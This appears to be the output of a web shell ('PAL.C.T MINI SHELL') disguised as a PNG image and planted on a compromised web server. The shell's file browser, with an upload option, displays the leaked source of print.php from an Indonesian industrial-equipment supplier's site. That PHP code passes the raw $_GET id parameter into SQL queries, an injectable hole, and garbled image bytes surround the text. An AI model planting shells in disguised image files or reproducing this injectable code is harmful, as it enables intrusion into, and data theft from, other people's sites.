php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/gs_sub/view/default/
upload
files >> //var/www/html/gs_sub/view/default/print.php

<?php include "seo/info_user.php"; 

$description = "

FATOOLS INDONESIA proudly pronounced our company as one of the greatest supply companies in delivering best quality industrial equipments to various industries. As a supplier, we are committed to provide the best quality of goods with affordable price that is requested by our clients.<br>

FATOOLS INDONESIA supplies industrial equipment, such as hand tools, hydraulic equipment, air tools, power tools, safety equipment etc.
";

?>
<!DOCTYPE html>
<html>
	<head>
		<title><?php echo $title; ?></title>
		<!--meta-->
		<meta charset="UTF-8" />
		<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
		<meta name="author" content="Cakra Danu Sedayu">


		<!--style-->
		<!-- Bootstrap core CSS -->
	    <link href="<?php echo $base_url; ?>asset/css/bootstrap.css" rel="stylesheet">
		<!--<link href="asset/css/flat-btn.css" rel="stylesheet"> -->
	    <link href="css/style.css" rel="stylesheet">

		
<style type="text/css">
 @media print
            {
            	.col-md-5{
            		width: 50%;
            	}
            }

</style>

	</head>
<body style='background:none !important;' Onload='window.print();'>
<header>
<div class='container'>
	<img src="css/image/bg-header1.png">
</div>
</header>
<div class='container main-page'>	
	<div class='col-md-12'>
		
<?php
		
	// 	id 	kategori 	nama_tool 	kode_tool 	detail 	cap 	harga 	foto1 	foto2
	$brand = mysql_query("SELECT * FROM fatools WHERE id = '$_GET[id]'");

	$rss = mysql_fetch_array($brand);
			$id_produk 		= $rss[id];	
			$nama_produk 	= $rss[nama_tool];
			$harga 			= $rss[harga];
			$cap 			= $rss[cap];
			$kategori 		= $rss[kategori];
			$produk_seo 	= seo_title($rss['nama_tool']);
			$foto1			= $rss[foto1];
			$foto2 			= $rss[foto2];
			$detail		= $rss[detail];
			$kode 			= $rss[kode_tool];
			
			$produk_seo = seo_title($nama_produk);
			$url 		= "produk-$id_produk-$produk_seo.html";
			
		?>

			<div >
				<b><?php echo $nama_produk." - ".$kode; ?></b>
				<hr>
			</div>

			<div class="row">
				<div class='col-md-12 col-sm-12' >
					<center>
					<?php
					if(file_exists("images/$rss[id].JPG"))
					{	
						?>
						<img src="images/<?php  echo $rss[id].".JPG"; ?>" class='col-xs-6 col-md-5' alt="<?php echo $produk_seo; ?>">						
						<?php
					}
					elseif(file_exists("images/$rss[id].jpg"))
					{	
						?>
						<img src="images/<?php  echo $rss[id].".jpg"; ?>" class='col-xs-6 col-md-5' alt="<?php echo $produk_seo; ?>">						
						<?php
					}

					else
					{
						echo "No Photo";
					}
					?>						
					</center>
				</div>
			</div>	
				<?php
					//$harga_tampil1  = tampil_list1($harga, $diskon, $promo);
                	//$harga_tampil2  = tampil_list2($harga, $diskon, $promo);
				?>
				<div class='col-md-12 col-sm-12'>
					
					<!-- Paket share, email. print, pdf -->

					<table class="table table-striped">
						<thead>
						<tr>
							<th>Kode Produk</th>
							<th></th>
							<th style='max-width:100px'></th>
							<th>Harga</th>
							<th></th>
						</tr>
						</thead>
						<tbody>
					<?php
						$brand = mysql_query("SELECT * FROM fatools WHERE id = '$_GET[id]'");
						while ($rx = mysql_fetch_array($brand)) {
						
						if (strpos($rx[detail],'"') !== false) {
 						   		
								$detail = explode('"', $rx[detail]);
								$detail = $detail[1].'"';

							}
						else{
								$detail = $rx[detail];
						}	

						if (strpos($rx[cap],'"') !== false) {
 						   		
								$cap = explode('"', $rx[cap]);
								$cap = $cap[1].'"';

							}
						else{
								$cap = $rx[cap];
						}	


						?>
						<tr>
							<td><?php echo $rx[kode_tool]; ?></td>
							<td><?php echo $detail; ?></td>
							<td><?php echo $cap; ?></td>
							<td><?php echo format_rupiah($rx[harga]); ?></td>
							<td>								
							</td>
						</tr>
						<?php
						}
					?>
					</tbody>
					</table>
				</div>
			

					<br><br>
 
					<?php
							if(file_exists("images/a$rss[id].JPG"))
							{	echo "<h4>Detail Produk :</h4>";
								?>
								<img src="images/a<?php  echo $rss[id].".JPG"; ?>" class='col-xs-12 col-md-5' alt="<?php echo $produk_seo; ?>">						
								<?php
							}
							elseif(file_exists("images/a$rss[id].jpg"))
							{	echo "<h4>Detail Produk :</h4>";
								?>
								<img src="images/a<?php  echo $rss[id].".jpg"; ?>" class='col-xs-12 col-md-5' alt="<?php echo $produk_seo; ?>">						
								<?php
							}
							else
							{
								echo "Tidak Ada Deskripsi";
							}
					?>

			<br><br><br>




	</div>
</div>
<br><br>
</body>
</html>
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`